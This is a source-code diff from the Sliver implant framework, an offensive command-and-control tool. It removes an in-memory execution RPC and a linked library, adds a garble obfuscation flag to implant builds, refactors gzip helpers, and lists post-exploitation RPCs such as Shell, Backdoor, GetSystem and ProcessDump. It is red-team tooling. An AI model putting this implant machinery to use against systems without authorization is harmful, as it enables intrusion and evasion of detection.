180, // 257: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
149, // 258: rpcpb.SliverRPC.ExecuteInMemory:output_type -> sliverpb.Execute
181, // 259: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
182, // 260: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
96, // 261: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
0, // 262: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
97, // 263: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
98, // 264: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 265: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
99, // 266: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
20, // 267: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
134, // [134:268] is the sub-list for method output_type
0, // [0:134] is the sub-list for method input_type
93, // 124: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
94, // 125: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
95, // 126: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
95, // 127: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
96, // 128: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
97, // 129: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
97, // 130: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
98, // 131: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 132: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
99, // 133: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
100, // 134: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
0, // 135: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
101, // 136: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
0, // 137: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
102, // 138: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
103, // 139: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
4, // 140: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
0, // 141: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
104, // 142: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
5, // 143: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
5, // 144: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
105, // 145: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 146: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
106, // 147: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
107, // 148: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
108, // 149: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
109, // 150: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
110, // 151: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
111, // 152: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
111, // 153: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
112, // 154: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
112, // 155: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
12, // 156: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 157: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
12, // 158: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
12, // 159: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
113, // 160: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
113, // 161: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
114, // 162: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
13, // 163: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
0, // 164: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
0, // 165: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
115, // 166: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
116, // 167: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
0, // 168: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
116, // 169: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig
20, // 170: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
0, // 171: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
117, // 172: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
115, // 173: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
118, // 174: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 175: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
119, // 176: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
120, // 177: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
121, // 178: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
122, // 179: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 180: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
23, // 181: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
123, // 182: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
124, // 183: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
125, // 184: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
126, // 185: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
127, // 186: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
128, // 187: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
27, // 188: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 189: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
27, // 190: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
27, // 191: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
27, // 192: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
30, // 193: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
129, // 194: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
130, // 195: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
131, // 196: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
132, // 197: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
133, // 198: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
134, // 199: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
134, // 200: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
135, // 201: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
136, // 202: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
137, // 203: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
138, // 204: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
139, // 205: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
140, // 206: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
141, // 207: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
142, // 208: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
143, // 209: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
144, // 210: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
145, // 211: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
145, // 212: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
145, // 213: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
146, // 214: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
147, // 215: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
148, // 216: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
148, // 217: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
149, // 218: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
150, // 219: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
151, // 220: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
152, // 221: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
153, // 222: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
0, // 223: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
154, // 224: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
155, // 225: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
156, // 226: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
156, // 227: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
156, // 228: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
157, // 229: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
158, // 230: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
159, // 231: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
160, // 232: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
161, // 233: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
162, // 234: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
163, // 235: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
164, // 236: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
165, // 237: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
166, // 238: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
167, // 239: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
168, // 240: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
169, // 241: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
170, // 242: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
171, // 243: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
172, // 244: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
171, // 245: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
82, // 246: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
0, // 247: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
173, // 248: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
174, // 249: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
175, // 250: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
176, // 251: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
176, // 252: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
177, // 253: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
177, // 254: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
178, // 255: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
179, // 256: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
180, // 257: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
181, // 258: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
95, // 259: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
0, // 260: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
96, // 261: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
97, // 262: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 263: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
98, // 264: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
20, // 265: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
133, // [133:266] is the sub-list for method output_type
0, // [0:133] is the sub-list for method input_type
0, // [0:0] is the sub-list for extension type_name
0, // [0:0] is the sub-list for extension extendee
0, // [0:0] is the sub-list for field type_name
-3
View File
@@ -174,9 +174,6 @@ service SliverRPC {
rpc WGListForwarders(sliverpb.WGTCPForwardersReq) returns (sliverpb.WGTCPForwarders);
rpc WGListSocksServers(sliverpb.WGSocksServersReq) returns (sliverpb.WGSocksServers);
// *** Linux CGO specific ***
rpc ExecuteInMemory(sliverpb.ExecuteInMemoryReq) returns (sliverpb.Execute);
// *** Realtime Commands ***
rpc Shell(sliverpb.ShellReq) returns (sliverpb.Shell);
rpc Portfwd(sliverpb.PortfwdReq) returns (sliverpb.Portfwd);
-38
View File
@@ -163,8 +163,6 @@ type SliverRPCClient interface {
WGStopSocks(ctx context.Context, in *sliverpb.WGSocksStopReq, opts ...grpc.CallOption) (*sliverpb.WGSocks, error)
WGListForwarders(ctx context.Context, in *sliverpb.WGTCPForwardersReq, opts ...grpc.CallOption) (*sliverpb.WGTCPForwarders, error)
WGListSocksServers(ctx context.Context, in *sliverpb.WGSocksServersReq, opts ...grpc.CallOption) (*sliverpb.WGSocksServers, error)
// *** Linux CGO specific ***
ExecuteInMemory(ctx context.Context, in *sliverpb.ExecuteInMemoryReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
// *** Realtime Commands ***
Shell(ctx context.Context, in *sliverpb.ShellReq, opts ...grpc.CallOption) (*sliverpb.Shell, error)
Portfwd(ctx context.Context, in *sliverpb.PortfwdReq, opts ...grpc.CallOption) (*sliverpb.Portfwd, error)
@@ -1327,15 +1325,6 @@ func (c *sliverRPCClient) WGListSocksServers(ctx context.Context, in *sliverpb.W
return out, nil
}
func (c *sliverRPCClient) ExecuteInMemory(ctx context.Context, in *sliverpb.ExecuteInMemoryReq, opts ...grpc.CallOption) (*sliverpb.Execute, error) {
out := new(sliverpb.Execute)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecuteInMemory", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) Shell(ctx context.Context, in *sliverpb.ShellReq, opts ...grpc.CallOption) (*sliverpb.Shell, error) {
out := new(sliverpb.Shell)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Shell", in, out, opts...)
@@ -1630,8 +1619,6 @@ type SliverRPCServer interface {
WGStopSocks(context.Context, *sliverpb.WGSocksStopReq) (*sliverpb.WGSocks, error)
WGListForwarders(context.Context, *sliverpb.WGTCPForwardersReq) (*sliverpb.WGTCPForwarders, error)
WGListSocksServers(context.Context, *sliverpb.WGSocksServersReq) (*sliverpb.WGSocksServers, error)
// *** Linux CGO specific ***
ExecuteInMemory(context.Context, *sliverpb.ExecuteInMemoryReq) (*sliverpb.Execute, error)
// *** Realtime Commands ***
Shell(context.Context, *sliverpb.ShellReq) (*sliverpb.Shell, error)
Portfwd(context.Context, *sliverpb.PortfwdReq) (*sliverpb.Portfwd, error)
@@ -2024,9 +2011,6 @@ func (UnimplementedSliverRPCServer) WGListForwarders(context.Context, *sliverpb.
func (UnimplementedSliverRPCServer) WGListSocksServers(context.Context, *sliverpb.WGSocksServersReq) (*sliverpb.WGSocksServers, error) {
return nil, status.Errorf(codes.Unimplemented, "method WGListSocksServers not implemented")
}
func (UnimplementedSliverRPCServer) ExecuteInMemory(context.Context, *sliverpb.ExecuteInMemoryReq) (*sliverpb.Execute, error) {
return nil, status.Errorf(codes.Unimplemented, "method ExecuteInMemory not implemented")
}
func (UnimplementedSliverRPCServer) Shell(context.Context, *sliverpb.ShellReq) (*sliverpb.Shell, error) {
return nil, status.Errorf(codes.Unimplemented, "method Shell not implemented")
}
@@ -4302,24 +4286,6 @@ func _SliverRPC_WGListSocksServers_Handler(srv interface{}, ctx context.Context,
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_ExecuteInMemory_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.ExecuteInMemoryReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).ExecuteInMemory(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/ExecuteInMemory",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ExecuteInMemory(ctx, req.(*sliverpb.ExecuteInMemoryReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_Shell_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.ShellReq)
if err := dec(in); err != nil {
@@ -5000,10 +4966,6 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "WGListSocksServers",
Handler: _SliverRPC_WGListSocksServers_Handler,
},
{
MethodName: "ExecuteInMemory",
Handler: _SliverRPC_ExecuteInMemory_Handler,
},
{
MethodName: "Shell",
Handler: _SliverRPC_Shell_Handler,
-4
View File
@@ -298,8 +298,6 @@ const (
MsgRportFwdListenersReq
MsgRPortfwdReq
MsgExecuteInMemoryReq
)
// Constants to replace enums
@@ -526,8 +524,6 @@ func MsgNumber(request proto.Message) uint32 {
return MsgRportFwdListeners
case *RPortfwdReq:
return MsgRPortfwdReq
case *ExecuteInMemoryReq:
return MsgExecuteInMemoryReq
}
return uint32(0)
}
File diff suppressed because it is too large. Load diff
-7
View File
@@ -445,13 +445,6 @@ message ExecuteWindowsReq {
commonpb.Request Request = 9;
}
message ExecuteInMemoryReq {
bytes Data = 1;
repeated string Args = 2;
string Path = 3;
commonpb.Request Request = 9;
}
message Execute {
uint32 Status = 1;
bytes Stdout = 2;
-19
View File
@@ -221,11 +221,6 @@ func setupGo(appDir string) error {
return err
}
if libreflectErr := setupLibreflect(appDir); libreflectErr != nil {
setupLog.Errorf("Failed to setup libreflect")
return libreflectErr
}
return setupSGN(appDir)
}
@@ -241,20 +236,6 @@ func setupSGN(appDir string) error {
return err
}
func setupLibreflect(appDir string) error {
libreflectPath := filepath.Join("fs", "lib", "libreflect.x86_64.a")
goLibPath := filepath.Join(appDir, "go", "lib")
libreflect, err := assetsFs.ReadFile(libreflectPath)
if err != nil {
setupLog.Errorf("static asset not found: %s", libreflectPath)
return err
}
libreflectLocalPath := filepath.Join(goLibPath, "libreflect.a")
setupLog.Infof("Writing libreflect to %s", libreflectLocalPath)
err = os.WriteFile(libreflectLocalPath, libreflect, 0700)
return err
}
// SetupGoPath - Extracts dependencies to goPathSrc
func SetupGoPath(goPathSrc string) error {
+1 -1
View File
@@ -5,6 +5,6 @@ package assets
import "embed"
var (
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/amd64/* fs/lib/*.a
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/amd64/*
assetsFs embed.FS
)
+1 -1
View File
@@ -5,6 +5,6 @@ package assets
import "embed"
var (
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/arm64/* fs/lib/*.a
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/arm64/*
assetsFs embed.FS
)
+1 -1
View File
@@ -5,6 +5,6 @@ package assets
import "embed"
var (
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/amd64/* fs/lib/*.a
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/amd64/*
assetsFs embed.FS
)
+1 -1
View File
@@ -5,6 +5,6 @@ package assets
import "embed"
var (
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/arm64/* fs/lib/*.a
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/arm64/*
assetsFs embed.FS
)
+1 -1
View File
@@ -5,6 +5,6 @@ package assets
import "embed"
var (
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/windows/amd64/* fs/lib/*.a
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/windows/amd64/*
assetsFs embed.FS
)
View File
Whitespace-only changes.
+3 -3
View File
@@ -37,7 +37,7 @@ import (
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/encoders"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
"golang.org/x/crypto/chacha20poly1305"
@@ -146,7 +146,7 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
if err != nil {
return nil, err
}
plaintext = bytes.NewBuffer(util.GzipBuf(plaintext)).Bytes()
plaintext = bytes.NewBuffer(encoders.GzipBuf(plaintext)).Bytes()
nonce := make([]byte, aead.NonceSize(), aead.NonceSize()+len(plaintext)+aead.Overhead())
if _, err := rand.Read(nonce); err != nil {
return nil, err
@@ -173,7 +173,7 @@ func Decrypt(key [chacha20poly1305.KeySize]byte, ciphertext []byte) ([]byte, err
if err != nil {
return nil, err
}
return util.GunzipBuf(plaintext), nil
return encoders.GunzipBuf(plaintext), nil
}
// NewCipherContext - Wrapper around creating a cipher context from a key
+3 -9
View File
@@ -339,16 +339,10 @@ func SliverSharedLibrary(name string, otpSecret string, config *models.ImplantCo
return "", fmt.Errorf("CC '%s/%s' not found", config.GOOS, config.GOARCH)
}
}
cgoLdflags := ""
if config.GOOS == "linux" {
libIncludePath := path.Join(gogo.GetGoRootDir(appDir), "lib")
cgoLdflags = fmt.Sprintf("-L%s -lreflect", libIncludePath)
}
goConfig := &gogo.GoConfig{
CGO: "1",
CGOLDFLAGS: cgoLdflags,
CC: cc,
CXX: cxx,
CGO: "1",
CC: cc,
CXX: cxx,
GOOS: config.GOOS,
GOARCH: config.GOARCH,
+8 -18
View File
@@ -27,7 +27,6 @@ import (
"strings"
"github.com/bishopfox/sliver/server/log"
"github.com/shirou/gopsutil/v3/mem"
)
const (
@@ -53,7 +52,6 @@ type GoConfig struct {
GOMODCACHE string
GOPROXY string
CGO string
CGOLDFLAGS string
CC string
CXX string
HTTPPROXY string
@@ -82,19 +80,13 @@ func GetGoModCache(appDir string) string {
return cachePath
}
// The Gb limit here is somewhat arbitrary but is based on my own testing
func garbleMaxLiteralSize() string {
vmStat, err := mem.VirtualMemory()
if err != nil {
gogoLog.Errorf("Failed to detect amount of system memory: %s", err)
return fmt.Sprintf("%d", 1*kb) // Use default
// Garble requires $HOME to be defined, if it's not set we use the os temp dir
func getHomeDir() string {
home := os.Getenv("HOME")
if home == "" {
return os.TempDir()
}
if 10*gb < vmStat.Total {
gogoLog.Infof("More than 10Gb of system memory, enable large literal obfuscation")
return fmt.Sprintf("%d", 64*kb)
}
gogoLog.Infof("Low system memory, disable large literal obfuscation")
return fmt.Sprintf("%d", 2*kb)
return home
}
// GarbleCmd - Execute a go command
@@ -104,25 +96,24 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
return nil, fmt.Errorf(fmt.Sprintf("Invalid compiler target: %s", target))
}
garbleBinPath := filepath.Join(config.GOROOT, "bin", "garble")
garbleFlags := []string{"-seed=random", "-literals"}
garbleFlags := []string{"-seed=random", "-literals", "-tiny"}
command = append(garbleFlags, command...)
cmd := exec.Command(garbleBinPath, command...)
cmd.Dir = cwd
cmd.Env = []string{
fmt.Sprintf("CC=%s", config.CC),
fmt.Sprintf("CGO_ENABLED=%s", config.CGO),
fmt.Sprintf("CGO_LDFLAGS=%s", config.CGOLDFLAGS),
fmt.Sprintf("GOOS=%s", config.GOOS),
fmt.Sprintf("GOARCH=%s", config.GOARCH),
fmt.Sprintf("GOPATH=%s", config.ProjectDir),
fmt.Sprintf("GOCACHE=%s", config.GOCACHE),
fmt.Sprintf("GOMODCACHE=%s", config.GOMODCACHE),
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
fmt.Sprintf("GARBLE_MAX_LITERAL_SIZE=%s", garbleMaxLiteralSize()),
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
fmt.Sprintf("HTTPS_PROXY=%s", config.HTTPSPROXY),
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
fmt.Sprintf("GOGARBLE=%s", config.GOGARBLE),
fmt.Sprintf("HOME=%s", getHomeDir()),
}
var stdout bytes.Buffer
var stderr bytes.Buffer
@@ -155,7 +146,6 @@ func GoCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
cmd.Env = []string{
fmt.Sprintf("CC=%s", config.CC),
fmt.Sprintf("CGO_ENABLED=%s", config.CGO),
fmt.Sprintf("CGO_LDFLAGS=%s", config.CGOLDFLAGS),
fmt.Sprintf("GOOS=%s", config.GOOS),
fmt.Sprintf("GOARCH=%s", config.GOARCH),
fmt.Sprintf("GOPATH=%s", config.ProjectDir),
-1
View File
@@ -48,5 +48,4 @@ var (
ErrBuildExists = status.Error(codes.AlreadyExists, "Build already exists")
ErrInvalidBeaconTaskCancelState = status.Error(codes.InvalidArgument, fmt.Sprintf("Invalid task state, must be '%s' to cancel", models.PENDING))
ErrUnsupportedOS = status.Error(codes.Unimplemented, "This RPC is not supported for the targeted OS")
)
-34
View File
@@ -281,40 +281,6 @@ func (rpc *Server) SpawnDll(ctx context.Context, req *sliverpb.InvokeSpawnDllReq
return resp, nil
}
func (rpc *Server) ExecuteInMemory(ctx context.Context, req *sliverpb.ExecuteInMemoryReq) (*sliverpb.Execute, error) {
var (
session *core.Session
beacon *models.Beacon
err error
)
if !req.Request.Async {
session = core.Sessions.Get(req.Request.SessionID)
if session == nil {
return nil, ErrInvalidSessionID
}
} else {
beacon, err = db.BeaconByID(req.Request.BeaconID)
if err != nil {
msfLog.Errorf("%s", err)
return nil, ErrDatabaseFailure
}
if beacon == nil {
return nil, ErrInvalidBeaconID
}
}
if getOS(session, beacon) != "linux" {
return nil, ErrUnsupportedOS
}
resp := &sliverpb.Execute{Response: &commonpb.Response{}}
err = rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
func getOS(session *core.Session, beacon *models.Beacon) string {
if session != nil {
return session.OS
+3 -2
View File
@@ -55,7 +55,7 @@ func EncoderFromNonce(nonce int) (int, Encoder, error) {
if encoder, ok := EncoderMap[encoderID]; ok {
return encoderID, encoder, nil
}
return -1, nil, errors.New("Invalid encoder nonce")
return -1, nil, errors.New("invalid encoder nonce")
}
// RandomEncoder - Get a random nonce identifier and a matching encoder
@@ -70,7 +70,8 @@ func RandomEncoder() (int, Encoder) {
}
// NopNonce - A NOP nonce identifies a request with no encoder/payload
// any value where mod = 0
//
// any value where mod = 0
func NopNonce() int {
return insecureRand.Intn(maxN) * EncoderModulus
}
+34 -2
View File
@@ -21,6 +21,7 @@ package encoders
import (
"bytes"
"compress/gzip"
"sync"
)
// GzipEncoderID - EncoderID
@@ -29,18 +30,49 @@ const GzipEncoderID = 49
// Gzip - Gzip compression encoder
type Gzip struct{}
var gzipWriterPools = &sync.Pool{}
func init() {
gzipWriterPools = &sync.Pool{
New: func() interface{} {
w, _ := gzip.NewWriterLevel(nil, gzip.BestSpeed)
return w
},
}
}
// GzipBuf - Gzip a buffer
func GzipBuf(data []byte) []byte {
var buf bytes.Buffer
gzipWriter := gzipWriterPools.Get().(*gzip.Writer)
gzipWriter.Reset(&buf)
gzipWriter.Write(data)
gzipWriter.Close()
gzipWriterPools.Put(gzipWriter)
return buf.Bytes()
}
// GunzipBuf - Gunzip a buffer
func GunzipBuf(data []byte) []byte {
zip, _ := gzip.NewReader(bytes.NewBuffer(data))
var buf bytes.Buffer
buf.ReadFrom(zip)
return buf.Bytes()
}
// Encode - Compress data with gzip
func (g Gzip) Encode(data []byte) []byte {
var buf bytes.Buffer
gzipWriter, _ := gzip.NewWriterLevel(&buf, gzip.BestSpeed)
gzipWriter := gzipWriterPools.Get().(*gzip.Writer)
gzipWriter.Reset(&buf)
gzipWriter.Write(data)
gzipWriter.Close()
gzipWriterPools.Put(gzipWriter)
return buf.Bytes()
}
// Decode - Uncompressed data with gzip
func (g Gzip) Decode(data []byte) ([]byte, error) {
bytes.NewReader(data)
reader, err := gzip.NewReader(bytes.NewReader(data))
if err != nil {
return nil, err
+26 -7
View File
@@ -1,12 +1,5 @@
package encoders
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -25,6 +18,15 @@ import (
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"crypto/rand"
insecureRand "math/rand"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
func TestGzip(t *testing.T) {
sample := randomData()
@@ -60,3 +62,20 @@ func TestGzip(t *testing.T) {
